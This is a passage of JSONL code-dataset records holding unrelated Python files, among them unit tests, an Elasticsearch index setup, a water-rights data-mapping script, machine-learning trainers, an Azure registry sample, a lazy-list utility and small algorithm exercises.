add:\"))\r\nlist_rev_fun(n)\r\n\r\n","sub_path":"list_reversing_function.py","file_name":"list_reversing_function.py","file_ext":"py","file_size_in_byte":776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"14321157","text":"import os\nimport unittest\nfrom utilitaires import Utilitaire\nfrom Avatar.avatar_file import AvatarFile\n\n\nclass Test(unittest.TestCase):\n\n def setUp(self):\n\n project_path = os.path.dirname(os.path.abspath(\"test.py\"))\n project_path = Utilitaire.get_dir_n(project_path, 1)\n\n # comp\n\n self.file_url_1 = os.path.join(project_path, 'fichiers test\\mp4_1.mp4')\n self.file_url_2 = os.path.join(project_path, 'fichiers test\\mp4_2.mp4')\n self.file_url_3 = os.path.join(project_path, 'fichiers test\\mp4_3.mp4')\n\n # types\n\n self.file_types = (\"mp4\", \"MPEG-4 Video Stream\", \"Video file formats\", \"Moving Picture Experts Group\")\n\n # get_tag\n\n self.file_tag_value = 'mp4 file'\n\n # change_tag\n\n self.tag_2 = 'title'\n self.file_tag_value_2 = 'mp4 file'\n\n def test_avatar_file_get_types(self):\n result = AvatarFile(self.file_url_1).get_types()\n self.assertEqual(result, self.file_types)\n\n def test_avatar_file_is_same(self):\n result = AvatarFile(self.file_url_3).is_same(self.file_url_2)\n self.assertTrue(result)\n\n def test_avatar_file_is_accepted(self):\n result = AvatarFile(self.file_url_1).is_ext_accepted()\n self.assertTrue(result)\n\n def test_avatar_file_change_tag(self):\n AvatarFile(self.file_url_1).change_tag(self.tag_2, self.file_tag_value_2)\n result = AvatarFile(self.file_url_1).get_tag(self.tag_2)[0]\n self.assertEqual(result, self.file_tag_value_2)\n AvatarFile(self.file_url_1).change_tag(self.tag_2, self.file_tag_value)","sub_path":"Avatar/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"195727297","text":"import asyncio\nimport json\n\nfrom tornado.httpclient import HTTPClient, HTTPRequest, AsyncHTTPClient, HTTPClientError\n\n\ntest_no_analysis = {\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"ik_smart_gt1\": {\n \"tokenizer\": \"ik_smart111\",\n \"filter\": [ \"length_gt1\" ]\n },\n \"semicolon\": {\n \"tokenizer\": \"semicolon_tokenizer\",\n \"filter\": [\"lowercase\", \"trim\", \"length_gt0\"]\n },\n \"keyword_lowercase\": {\n \"tokenizer\": \"keyword\",\n \"filter\": [\"lowercase\"]\n }\n },\n \"tokenizer\": {\n \"semicolon_tokenizer\": {\n \"type\": \"char_group\",\n \"tokenize_on_chars\": [\";\"]\n }\n },\n \"filter\": {\n \"length_gt0\": {\n \"type\": \"length\",\n \"min\": 1\n },\n \"length_gt1\": {\n \"type\": \"length\",\n \"min\": 2\n }\n }\n }\n },\n \"mappings\": {\n \"default\": {\n \"properties\": { \n \"material_id\": {\n \"type\": \"long\"\n },\n \"trade_name\": {\n \"type\": \"text\"\n },\n \"trade_name_copy\" : {\n \"type\" : \"text\",\n \"analyzer\" : \"ik_smart_gt1\"\n },\n \"category_id\": {\n \"type\": \"long\"\n },\n \"brand_id\": {\n \"type\": \"long\"\n },\n \"shelf_state\": {\n \"type\": \"long\"\n },\n \"attribute_value_id\": {\n \"type\": \"long\"\n },\n \"attribute_id\": {\n \"type\": \"long\"\n },\n \"jf_provider_guid\": {\n \"type\": \"text\",\n \"analyzer\": \"keyword_lowercase\"\n },\n \"apply_area_list\": {\n \"type\": \"text\",\n \"analyzer\": \"semicolon\"\n }\n }\n }\n }\n}\n\n\nasync def async_fetch():\n try:\n req = HTTPRequest('http://10.8.60.127:9200/test_no_analysis', method='PUT', body=json.dumps(test_no_analysis), headers={'Content-Type': 'application/json'}, auth_username='1', auth_password='2')\n\n client = AsyncHTTPClient()\n res = await client.fetch(req)\n\n print(res)\n except Exception as e:\n print(e)\n if hasattr(e, 'response'):\n print(e.response.body.decode('utf8'))\n\n\ndef main():\n loop = asyncio.get_event_loop()\n loop.run_until_complete(async_fetch())\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"tornado/httperror_test.py","file_name":"httperror_test.py","file_ext":"py","file_size_in_byte":2317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"500235271","text":"# Author: Ryan James (WSWC)\n# Date Created: 09/23/2021\n# Purpose: To extract KS regulatory overlay information and populate a dataframe WaDEQA 2.0.\n# Notes: N/A\n\n\n# Needed Libraries\n############################################################################\nimport os\nimport numpy as np\nimport pandas as pd\n\n# Custom Libraries\n############################################################################\nimport sys\nsys.path.append(\"C:/Users/rjame/Documents/WSWC Documents/MappingStatesDataToWaDE2.0/CustomFunctions/ErrorCheckCode\")\nimport TestErrorFunctions\n\n\n# Inputs\n############################################################################\nprint(\"Reading input csv...\")\nworkingDir = \"C:/Users/rjame/Documents/WSWC Documents/MappingStatesDataToWaDE2.0/Kansas/Regulatory\"\nos.chdir(workingDir)\nM_fileInput = \"RawinputData/P_ksRegMaster.csv\"\ndf_DM = pd.read_csv(M_fileInput).replace(np.nan, \"\") # The State's Master input dataframe. Remove any nulls.\n\n#WaDE dataframe columns\ncolumnslist = [\n \"RegulatoryOverlayUUID\",\n \"OversightAgency\",\n \"RegulatoryDescription\",\n \"RegulatoryName\",\n \"RegulatoryOverlayNativeID\",\n \"RegulatoryStatusCV\",\n \"RegulatoryStatute\",\n \"RegulatoryStatuteLink\",\n \"StatutoryEffectiveDate\",\n \"StatutoryEndDate\",\n \"RegulatoryOverlayTypeCV\",\n \"WaterSourceTypeCV\"]\n\n\n# Custom Functions\n############################################################################\n\n# For creating RegulatoryOverlayUUID\ndef assignRegulatoryOverlayUUID(colrowValue):\n string1 = str(colrowValue)\n outstring = \"KSre_RO\" + string1\n return outstring\n\n\n# Creating output dataframe (outdf)\n############################################################################\nprint(\"Populating dataframe outdf...\")\noutdf = pd.DataFrame(index=df_DM.index, columns=columnslist) # The output dataframe\n\nprint(\"OversightAgency\")\noutdf['OversightAgency'] = df_DM['in_OversightAgency']\n\nprint(\"RegulatoryDescription\")\noutdf['RegulatoryDescription'] = df_DM['in_RegulatoryDescription']\n\nprint(\"RegulatoryName\")\noutdf['RegulatoryName'] = df_DM['in_RegulatoryName']\n\nprint(\"RegulatoryOverlayNativeID\")\noutdf['RegulatoryOverlayNativeID'] = \"\"\n\nprint(\"RegulatoryStatusCV\")\noutdf['RegulatoryStatusCV'] = \"Final\"\n\nprint(\"RegulatoryStatute\")\noutdf['RegulatoryStatute'] = \"Unspecified\"\n\nprint(\"RegulatoryStatuteLink\")\noutdf['RegulatoryStatuteLink'] = df_DM['in_RegulatoryStatuteLink']\n\nprint(\"StatutoryEffectiveDate\")\noutdf['StatutoryEffectiveDate'] = \"01/01/1970\"\n\nprint(\"StatutoryEndDate\")\noutdf['StatutoryEndDate'] = \"\"\n\nprint(\"RegulatoryOverlayTypeCV\")\noutdf['RegulatoryOverlayTypeCV'] = \"Groundwater Management Districts\"\n\nprint(\"WaterSourceTypeCV\")\noutdf['WaterSourceTypeCV'] = \"Groundwater\"\n\nprint(\"Resetting Index\")\noutdf.reset_index()\n\n#####################################\n# Dropping duplicate\n# filter the whole table based on a unique combination of RegulatoryName, RegulatoryOverlayNativeID, RegulatoryStatusCV, RegulatoryOverlayTypeCV, WaterSourceTypeCV\noutdf = outdf.drop_duplicates(subset=['RegulatoryName', 'RegulatoryOverlayNativeID', 'RegulatoryStatusCV', 'RegulatoryOverlayTypeCV', 'WaterSourceTypeCV']).reset_index(drop=True)\n######################################\n\nprint(\"RegulatoryOverlayUUID\") # has to be one of the last.\ndftemp = pd.DataFrame(index=outdf.index)\ndftemp[\"Count\"] = range(1, len(dftemp.index) + 1)\noutdf['RegulatoryOverlayUUID'] = dftemp.apply(lambda row: assignRegulatoryOverlayUUID(row['Count']), axis=1)\n\n\n# Solving WaDE 2.0 Upload Issues\n# ############################################################################\nprint(\"Solving WaDE 2.0 upload issues\") # List all temp fixes required to upload data to QA here.\n\n# None at the moment\n\n\n#Error Checking each Field\n############################################################################\nprint(\"Error checking each field. Purging bad inputs.\")\n\ndfpurge = pd.DataFrame(columns=columnslist) # purge DataFrame\ndfpurge = dfpurge.assign(ReasonRemoved='')\n\n# RegulatoryOverlayUUID\noutdf, dfpurge = TestErrorFunctions.RegulatoryOverlayUUID_RE_Check(outdf, dfpurge)\n\n# OversightAgency\noutdf, dfpurge = TestErrorFunctions.OversightAgency_RE_Check(outdf, dfpurge)\n\n# RegulatoryDescription\noutdf, dfpurge = TestErrorFunctions.RegulatoryDescription_RE_Check(outdf, dfpurge)\n\n# RegulatoryName\noutdf, dfpurge = TestErrorFunctions.RegulatoryName_RE_Check(outdf, dfpurge)\n\n# RegulatoryOverlayNativeID\noutdf, dfpurge = TestErrorFunctions.RegulatoryOverlayNativeID_RE_Check(outdf, dfpurge)\n\n# RegulatoryStatusCV\noutdf, dfpurge = TestErrorFunctions.RegulatoryStatusCV_RE_Check(outdf, dfpurge)\n\n# RegulatoryStatute\noutdf, dfpurge = TestErrorFunctions.RegulatoryStatute_RE_Check(outdf, dfpurge)\n\n# RegulatoryStatuteLink\noutdf, dfpurge = TestErrorFunctions.RegulatoryStatuteLink_RE_Check(outdf, dfpurge)\n\n# StatutoryEffectiveDate\noutdf, dfpurge = TestErrorFunctions.StatutoryEffectiveDate_RE_Check(outdf, dfpurge)\n\n# StatutoryEndDate\noutdf, dfpurge = TestErrorFunctions.StatutoryEndDate_RE_Check(outdf, dfpurge)\n\n# RegulatoryOverlayTypeCV\noutdf, dfpurge = TestErrorFunctions.RegulatoryOverlayTypeCV_RE_Check(outdf, dfpurge)\n\n# WaterSourceTypeCV\noutdf, dfpurge = TestErrorFunctions.WaterSourceTypeCV_RE_Check(outdf, dfpurge)\n\n\n# Export to new csv\n############################################################################\nprint(\"Exporting dataframe outdf100 to csv...\")\n\n# The working output DataFrame for WaDE 2.0 input.\noutdf.to_csv('ProcessedInputData/regulatoryoverlays.csv', index=False)\n\n# Report purged values.\nif(len(dfpurge.index) > 0):\n dfpurge.to_csv('ProcessedInputData/regulatoryoverlays_missing.csv', index=False)\n\nprint(\"Done.\")\n","sub_path":"Kansas/Regulatory/4_KSre_RegulatoryOverlay.py","file_name":"4_KSre_RegulatoryOverlay.py","file_ext":"py","file_size_in_byte":5645,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"67328607","text":"__author__ = 'Fan'\n\nimport numpy as np\nfrom sklearn.cross_validation import StratifiedShuffleSplit\nfrom sklearn.grid_search import GridSearchCV\nfrom sklearn.svm import LinearSVC\nimport sklearn.metrics as sm\n\nfrom OfflineBase import OfflineBase\nfrom utils.logger import *\nfrom utils.result import Result\n\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.ERROR)\n\n\nclass LinearTrainer(OfflineBase):\n \"\"\"\n Trains a linear classifier and returns the result\n (over training, validation and test).\n \"\"\"\n def __init__(self, name, x, y, val_x, val_y, test_x, test_y, n_features):\n \"\"\"\n\n :param name:\n :param x: training data\n :param y: training labels\n :param val_x: validation data\n :param val_y: validation labels\n :param test_x: test data\n :param test_y: test labels\n :param n_features: number of features\n \"\"\"\n super(self.__class__, self).__init__(x, y, val_x, val_y)\n\n self.name = name\n self.n_features = n_features\n self.test_x = test_x\n self.test_y = test_y\n\n def grid_search(self):\n \"\"\"\n Select the \"best\" linear classifier, minimizing\n ||w|| ** 2 + C * SUM_i(hinge_loss(x_i, y_i) ** 2)\n Minimize\n :return:\n \"\"\"\n C_range = np.logspace(-5, 15, 21, base=2)\n param_grid = dict(C=C_range)\n cv = StratifiedShuffleSplit(self.y_ex, n_iter=5,\n test_size=0.2, random_state=42)\n # LinearSVC is an SVM optimizer that minimizes:\n # ||w|| ** 2 + C * SUM_i(hinge_loss(x_i, y_i) ** 2)\n grid = GridSearchCV(LinearSVC(dual=False, max_iter=10000),\n param_grid=param_grid,\n cv=cv,\n n_jobs=1, verbose=0)\n\n logger.info('start grid search for Linear')\n grid.fit(self.X_ex, self.y_ex)\n logger.info('end grid search for Linear')\n\n scores = [x[1] for x in grid.grid_scores_]\n\n # final train\n rbf_svc2 = grid.best_estimator_\n\n pred_train = rbf_svc2.predict(self.X_ex)\n pred_val = rbf_svc2.predict(self.val_x)\n pred_test = rbf_svc2.predict(self.test_x)\n\n r = Result(self.name + ' (X)', 'Linear', len(self.X_ex),\n sm.accuracy_score(self.y_ex, pred_train),\n sm.accuracy_score(self.val_y, pred_val),\n sm.accuracy_score(self.test_y, pred_test))\n return r\n","sub_path":"binary-classifiers/algorithms/LinearTrainer.py","file_name":"LinearTrainer.py","file_ext":"py","file_size_in_byte":2495,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"514638278","text":"#Predict on the test set (unseen data) test_images data\n\n\n\n#Preprocess test set\nimg=test_images.copy()\n\n \n\n\n\nlargest= largest_digit_set(img)\n\n# reshape to be [samples][pixels][width][height]\nTest_Set = largest.reshape(largest.shape[0], 1, 64, 64).astype('float32')\n\n# normalize inputs from 0-255 to 0-1\nTest_Set = Test_Set / 255\n# one hot encode outputs\n#y_test = np_utils.to_categorical(Test_Set)\n#num_classes = y_test.shape[1]\n\n#Predict\nprediction=model2.predict(Test_Set)\n#prediction\n#plt.imshow(test_images[20])\n#prediction_file = pd.DataFrame(prediction, columns=['prediction']).to_csv('prediction.csv')\n\n\n# predict results\nresults = model2.predict(Test_Set)\n\n# select the indix with the maximum probability\nresults = np.argmax(results,axis = 1)\n\nresults = pd.Series(results,name=\"Category\")\n\n#plt.imshow(test_images[0])\n\n\n\n#save in csv file\nsubmission = pd.concat([pd.Series(range(0,10000),name = \"Id\"),results],axis = 1)\nsubmission.to_csv('../root/COMP 551-Project 3-Data/LargerCNN3_Model.csv',index=False)\n\n\n","sub_path":"Entire_Code/Entire_Code_6_8LayerCNNKaggleSubmissionGenerator.py","file_name":"Entire_Code_6_8LayerCNNKaggleSubmissionGenerator.py","file_ext":"py","file_size_in_byte":1017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"388032843","text":"# coding: utf-8\n\n# -------------------------------------------------------------------------\n# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License. See License.txt in the project root for\n# license information.\n# --------------------------------------------------------------------------\n\n\"\"\"\nFILE: sample_set_image_properties_async.py\n\nDESCRIPTION:\n This sample demonstrates setting an image's properties on the tag so it can't be overwritten during a lengthy\n deployment.\n\nUSAGE:\n python sample_set_image_properties_async.py\n\n Set the environment variables with your own values before running the sample:\n 1) CONTAINERREGISTRY_ENDPOINT - The URL of your Container Registry account\n\n This sample assumes your registry has a repository \"library/hello-world\" with image tagged \"v1\",\n run load_registry() if you don't have.\n Set the environment variables with your own values before running load_registry():\n 1) CONTAINERREGISTRY_ENDPOINT - The URL of your Container Registry account\n 2) CONTAINERREGISTRY_TENANT_ID - The service principal's tenant ID\n 3) CONTAINERREGISTRY_CLIENT_ID - The service principal's client ID\n 4) CONTAINERREGISTRY_CLIENT_SECRET - The service principal's client secret\n\"\"\"\nimport asyncio\nimport os\nfrom dotenv import find_dotenv, load_dotenv\nfrom azure.containerregistry.aio import ContainerRegistryClient\nfrom utilities import load_registry, get_authority, get_credential\n\n\nclass SetImagePropertiesAsync(object):\n def __init__(self):\n load_dotenv(find_dotenv())\n self.endpoint = os.environ.get(\"CONTAINERREGISTRY_ENDPOINT\")\n self.authority = get_authority(self.endpoint)\n self.credential = get_credential(self.authority, is_async=True)\n\n async def set_image_properties(self):\n load_registry(self.endpoint)\n # Instantiate an instance of ContainerRegistryClient\n async with ContainerRegistryClient(self.endpoint, self.credential) as client:\n # Set permissions on image \"library/hello-world:v1\"\n await client.update_manifest_properties(\"library/hello-world\", \"v1\", can_write=False, can_delete=False)\n # After this update, if someone were to push an update to `\\library\\hello-world:v1`,\n # it would fail. It's worth noting that if this image also had another tag, such as `latest`,\n # and that tag did not have permissions set to prevent reads or deletes, the image could still be\n # overwritten. For example, if someone were to push an update to `\\hello-world:latest`\n # (which references the same image), it would succeed.\n\n\nasync def main():\n sample = SetImagePropertiesAsync()\n await sample.set_image_properties()\n\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n","sub_path":"sdk/containerregistry/azure-containerregistry/samples/sample_set_image_properties_async.py","file_name":"sample_set_image_properties_async.py","file_ext":"py","file_size_in_byte":2824,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"68320171","text":"# copied from faraday 0.2.1\n# TODO: if needed long-term, make this a proper dependency\nimport copy\nimport itertools\nimport sys\n\n\nclass LazySequence(object):\n \"\"\"A sequence which only iterates over its given iterable as needed.\"\"\"\n\n REPR_OUTPUT_SIZE = 20\n\n def __init__(self, iterable=None):\n super(LazySequence, self).__init__()\n self.iterable = iter(iterable) if iterable else None\n\n @property\n def _results(self):\n return vars(self).setdefault('_results', [])\n\n def _consume(self):\n if self.iterable:\n self._results.extend(self.iterable)\n self.iterable = None\n\n def __len__(self):\n self._consume()\n return self._results.__len__()\n\n def _iter_iterable(self):\n for item in self.iterable or ():\n self._results.append(item)\n yield item\n self.iterable = None\n\n def __iter__(self):\n if self.iterable:\n return itertools.chain(self._results.__iter__(), self._iter_iterable())\n return self._results.__iter__()\n\n def __bool__(self):\n try:\n next(iter(self))\n except StopIteration:\n return False\n else:\n return True\n\n __nonzero__ = __bool__\n\n def _advance(self, count=None, index=None):\n if count is None and index is None:\n raise TypeError\n elif count is None:\n bound = index + 1\n count = bound - self._results.__len__()\n\n iterator = self._iter_iterable()\n while count > 0:\n try:\n next(iterator)\n except StopIteration:\n break\n else:\n count -= 1\n\n @staticmethod\n def _validate_key(key):\n if not isinstance(key, (slice, int)):\n raise TypeError\n elif (\n (not isinstance(key, slice) and key < 0) or\n (isinstance(key, slice) and ((key.start is not None and key.start < 0) or\n (key.stop is not None and key.stop < 0)))\n ):\n raise ValueError(\"Negative indexing is not supported.\")\n\n def __getitem__(self, key):\n self._validate_key(key)\n\n if isinstance(key, slice):\n return type(self)(itertools.islice(self, key.start, key.stop, key.step))\n\n if self.iterable:\n self._advance(index=key)\n return self._results.__getitem__(key)\n\n def __getslice__(self, start, stop):\n return self.__getitem__(slice(start, stop))\n\n def __repr__(self):\n data = list(self[:self.REPR_OUTPUT_SIZE + 1])\n if len(data) > self.REPR_OUTPUT_SIZE:\n data[-1] = \"...(remaining elements truncated)...\"\n return repr(data)\n\n def count(self, value):\n self._consume()\n return self._results.count(value)\n\n def index(self, value):\n try:\n return self._results.index(value)\n except ValueError:\n if self.iterable is None:\n raise\n\n base_length = self._results.__len__()\n for count, item in enumerate(self._iter_iterable()):\n if item == value:\n return base_length + count\n else:\n raise\n\n def __contains__(self, value):\n try:\n self.index(value)\n except ValueError:\n return False\n else:\n return True\n\n def __add__(self, other):\n return type(self)(itertools.chain(self, other))\n\n def __radd__(self, other):\n return type(other)(itertools.chain(other, self))\n\n def __mul__(self, other):\n return type(self)(itertools.chain.from_iterable(itertools.repeat(self, other)))\n\n __rmul__ = __mul__\n\n def __deepcopy__(self, memo):\n return type(self)(copy.deepcopy(item, memo) for item in self)\n\n\nclass LazyList(LazySequence, list):\n \"\"\"A list which only iterates over the given iterable as needed.\"\"\"\n\n @property\n def _results(self):\n return super(LazySequence, self)\n\n def __eq__(self, other):\n if self.iterable:\n self._consume()\n try:\n if other.iterable:\n other._consume()\n except AttributeError:\n pass\n return self._results.__eq__(other)\n\n def __ne__(self, other):\n return not self.__eq__(other)\n\n def __setitem__(self, key, value):\n self._validate_key(key)\n\n if self.iterable:\n if isinstance(key, slice):\n stop = sys.maxint if key.stop is None else key.stop\n index = stop - 1\n else:\n index = key\n self._advance(index=index)\n\n self._results.__setitem__(key, value)\n\n def __delitem__(self, key):\n self._validate_key(key)\n\n if self.iterable:\n if isinstance(key, slice):\n stop = sys.maxint if key.stop is None else key.stop\n index = stop - 1\n else:\n index = key\n self._advance(index=index)\n\n self._results.__delitem__(key)\n\n def __setslice__(self, start, stop, sequence):\n self.__setitem__(slice(start, stop), sequence)\n\n def __delslice__(self, start, stop):\n self.__delitem__(slice(start, stop))\n\n def extend(self, iterable):\n if self.iterable:\n self.iterable = itertools.chain(self.iterable, iterable)\n else:\n self._results.extend(iterable)\n\n def append(self, value):\n self.extend([value])\n\n def insert(self, index, value):\n if self.iterable:\n self._advance(index=(index - 1))\n return self._results.insert(index, value)\n\n def pop(self, index=None):\n if self.iterable:\n if index is None:\n self._consume()\n else:\n self._advance(index=index)\n return self._results.pop(index)\n\n def remove(self, value):\n index = self.index(value)\n self._results.pop(index)\n\n def reverse(self):\n self._consume()\n self._results.reverse()\n\n def sort(self, *args, **kws):\n self._consume()\n self._results.sort(*args, **kws)\n","sub_path":"capuchin/util/structs.py","file_name":"structs.py","file_ext":"py","file_size_in_byte":6168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"318891901","text":"#-------------------------------\r\n#Name:\t\tBalazs Somfalvi\r\n#Program:\tL2Q1BS.py\r\n#-------------------------------\r\n#Purpose: calculates the age of the user now and many years from now\r\n\r\nimport random #required for random number generation\r\n\r\nyear_born=int(input(\"What year were you born?\\t\"))\r\ncurrent_year=2016\r\nage_current=current_year-year_born\r\nrandom_number=random.randint(1,10) # random number between 1 and 10\r\nrandom_year=current_year+random_number \r\nage_random_years_from_now=random_year-year_born\r\n\r\nprint()#empty line\r\n\r\nprint(\"It is currently the year\",str(current_year)+\".\")\r\nprint(\"Since you were born in\",str(year_born),\"you will be\",str(age_current),\"years old this year.\")\r\nprint(\"In\",str(random_number),\"years, you will be\",str(age_random_years_from_now), \"years old.\")\r\n\r\n\r\n\r\n\r\n","sub_path":"L2Q2BS.py","file_name":"L2Q2BS.py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"67422402","text":"from collections import deque\n\n# 동남북서\ndx = [1, 0, 0, -1]\ndy = [0, 1, -1, 0]\n \ndef racing(n, x, y, board, cost, direction):\n cost[y][x] = 0\n q = deque()\n q.append((0,x,y,0))\n q.append((0,x,y,1))\n while q:\n curr_cost, x, y, d = q.popleft()\n for i in range(4):\n nx = x + dx[i]\n ny = y + dy[i]\n next_cost = 0\n if nx < 0 or ny < 0 or nx >= n or ny >= n or board[ny][nx] == 1:\n continue\n if i == d:\n new_cost = 100\n else:\n new_cost = 600\n next_cost = new_cost + curr_cost\n if cost[ny][nx] == -1 or cost[ny][nx] >= next_cost:\n cost[ny][nx] = next_cost\n q.append((next_cost, nx, ny, i))\n \ndef solution(board):\n n = len(board)\n cost = [[-1] * n for _ in range(n)]\n racing(n, 0, 0, board, cost, 0)\n print(cost)\n return cost[n-1][n-1]\n","sub_path":"Solution/Programmers/경주로 건설.py","file_name":"경주로 건설.py","file_ext":"py","file_size_in_byte":945,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"569307365","text":"#!/usr/bin/python3\nn = int(input())\nL = list(map(int, input().split()))\n\nans = 0\ncnt = 0\nused = [False]*n\nwhile cnt != n:\n mx = 0\n for i in range(len(L)):\n if used[i]:\n continue\n if L[i] >= mx:\n used[i] = True\n cnt += 1\n mx = L[i]\n ans += 1\nprint(ans)\n","sub_path":"2019/problems/stalinrodun/submissions/unnar_sim_50.py","file_name":"unnar_sim_50.py","file_ext":"py","file_size_in_byte":319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"415031958","text":"\"\"\"Module for ppm module interactive UI tests.\"\"\"\n\nimport ppm\n\n\nclass MockData():\n \"\"\"Class for creating and managing mock data for testing.\"\"\"\n base_account_item_args = (\n 'Test Account',\n 'Test User',\n None,\n 'This is a dummy test account!',\n ['dummy', 'test']\n )\n\n def __init__(self, num_items=10):\n self.account_list = ppm.AccountList()\n for item_num in range(num_items):\n ai = ppm.AccountItem(*MockData.base_account_item_args)\n new_acc_name = '{}_{}'.format(ai['account_name'], item_num)\n ai['account_name'] = new_acc_name\n self.account_list.append(ai)\n\ndef search(string, lod):\n \"\"\"Function stub for searching List of Dictionaries\"\"\"\n return (x for x in lod if string in x['account_name'])\n\ndef main():\n \"\"\"Main entry point.\"\"\"\n mock_data = MockData()\n search()\n\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"tests/testui.py","file_name":"testui.py","file_ext":"py","file_size_in_byte":929,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"223635688","text":"# coding:UTF-8\n# 2018-10-30\n# AdaBoost(Adaptive boosting)\n# 机器学习实战\n# https://blog.csdn.net/gamer_gyt/article/details/51372309\nimport numpy as np\n\n__equation = ['lt', 'gt']\n\n\ndef loadSimpData():\n \"\"\"\n 测试数据\n \"\"\"\n datMat = np.mat([[ 1. , 2.1],\n [ 2. , 1.1],\n [ 1.3, 1. ],\n [ 1. , 1. ],\n [ 2. , 1. ]])\n classLabels = np.mat([1.0, 1.0, -1.0, -1.0, 1.0]).T\n return datMat,classLabels\n\n\ndef stumpClassify(data, fea_index, thresh_val, thresh_eq):\n \"\"\"\n 根据选定值与索引对数据进行分类\n \"\"\"\n m = np.shape(data)[0]\n ret = np.ones((m, 1)) # m x 1\n if thresh_eq == 'lt':\n for i in range(m):\n if data[i, fea_index] <= thresh_val:\n ret[i, 0] = -1.0\n else:\n for i in range(m):\n # print(data[i], fea_index)\n if data[i, fea_index] > thresh_val:\n ret[i, 0] = -1.0\n return ret\n\n\ndef buildStump(data, labels, D, step):\n \"\"\"\n data:数据集\n labels:标签\n D:数据集中每个样本的权重\n return:单层决策树(弱分类器)\n\n 步骤:\n a. 将最小错误率设置为inf\n b. 对数据中的每一个特征\n c. 对每个步长\n d. 对每个不等号\n e. 建立一颗单层决策树并利用加权数据集对其进行测试,\n 如果错误率低于最小错误率,则将当前单层树设置为最佳单层树\n f. 返回最佳单层决策树\n \"\"\"\n m, n = np.shape(data)\n best_stump = {}\n # a. 将最小错误率设置为inf\n min_error = np.inf\n # b. 对数据中的每一个特征\n for i in range(n):\n # 计算步长大小\n range_min = data[:, i].min()\n range_max = data[:, i].max()\n step_size = (range_max - range_min) / float(step)\n # c. 对每个步长\n for j in range(-1, int(step) + 1):\n # d. 对每个不等号\n for inequal in __equation:\n thresh_val = range_min + float(j) * step_size\n # e. 建立一颗单层决策树并利用加权数据集对其进行测试,\n # 如果错误率低于最小错误率,则将当前单层树设置为最佳单层树\n prediction = stumpClassify(data, i, thresh_val, inequal)\n error = np.mat(np.ones((m, 1)))\n # 没有错的样本置为0\n for x in range(m):\n if prediction[x, 0] == labels[x, 0]:\n error[x, 0] = 0\n # 简写\n # error[prediction == labels] = 0\n weight_error = D.T * error # 计算权重的误差\n if weight_error < min_error:\n min_error = weight_error\n best_class_est = prediction.copy()\n best_stump['fea'] = i # 最佳特征索引\n best_stump['thresh'] = thresh_val\n best_stump['ineq'] = inequal\n\n return best_stump, min_error, best_class_est\n\n\ndef adaBoostTrainDS(data, labels, max_iter=40):\n \"\"\"\n data: 训练数据\n labels: 标签\n max_iter : 最大迭代次数\n\n 算法步���:\n a. 对每次迭代\n b. 利用buildStump找到最佳单层决策树\n c. 计算alpha\n d. 将最佳单层决策树加入到数组ret中\n e. 计算新的权重D\n f. 更新累计类别估计值\n g. 如果错误率为0,退出循环\n h. 返回数组ret\n \"\"\"\n ret = []\n m = np.shape(data)[0] # 样本数量\n D = np.mat(np.ones((m, 1)) / m) # 初始化权重\n total_class_est = np.mat(np.zeros((m, 1))) # 累积类别估计值\n # a. 对每次迭代\n for i in range(max_iter):\n # b. 利用buildStump找到最佳单层决策树\n best_stump, error, class_est = buildStump(data, labels, D, 10)\n # c. 计算alpha\n alpha = float(0.5 * np.log((1 - error) / max(error, 1e-16))) # max(error, 1e-16):防止溢出\n # d. 将最佳单层决策树加入到数组ret中\n best_stump['alpha'] = alpha\n ret.append(best_stump)\n # e. 计算新的权重D\n exp = np.exp(np.multiply(-1 * alpha * labels, class_est))\n D = np.multiply(D, exp)\n D = D / D.sum()\n # f. 更新累计类别估计值\n total_class_est += alpha * class_est\n # print(np.sign(total_class_est), labels)\n total_error = np.multiply((np.sign(total_class_est) != labels).T, np.ones((m, 1)))\n error_rate = total_error.sum() / m\n # g. 如果错误率为0,退出循环\n if error_rate == 0.0: break\n # h. 返回数组ret\n return ret, total_class_est\n\n\ndef adaClassify(data, classifier):\n \"\"\"\n daat:需要分类的数据,矩阵形式\n classifier: 决策树数组\n \"\"\"\n m = np.shape(data)[0]\n total_class_est = np.mat(np.zeros((m, 1)))\n for i in range(len(classifier)):\n # print(classifier[i])\n class_est = stumpClassify(data, \\\n classifier[i]['fea'], \\\n classifier[i]['thresh'], \\\n classifier[i]['ineq'])\n total_class_est += classifier[i]['alpha'] * class_est\n # print(\"error: \", total_class_est)\n return np.sign(total_class_est)\n\n\nif __name__ == '__main__':\n data, labels = loadSimpData()\n # print(np.shape(data), np.shape(labels))\n classifier, _ = adaBoostTrainDS(data, labels)\n test_data = np.mat([[5, 5], [0, 0]])\n # print(classifier)\n res = adaClassify(test_data, classifier)\n print(res)\n\n","sub_path":"MachineLearning/AdaBoost/adaboost.py","file_name":"adaboost.py","file_ext":"py","file_size_in_byte":5551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"560592099","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n# __author__ = 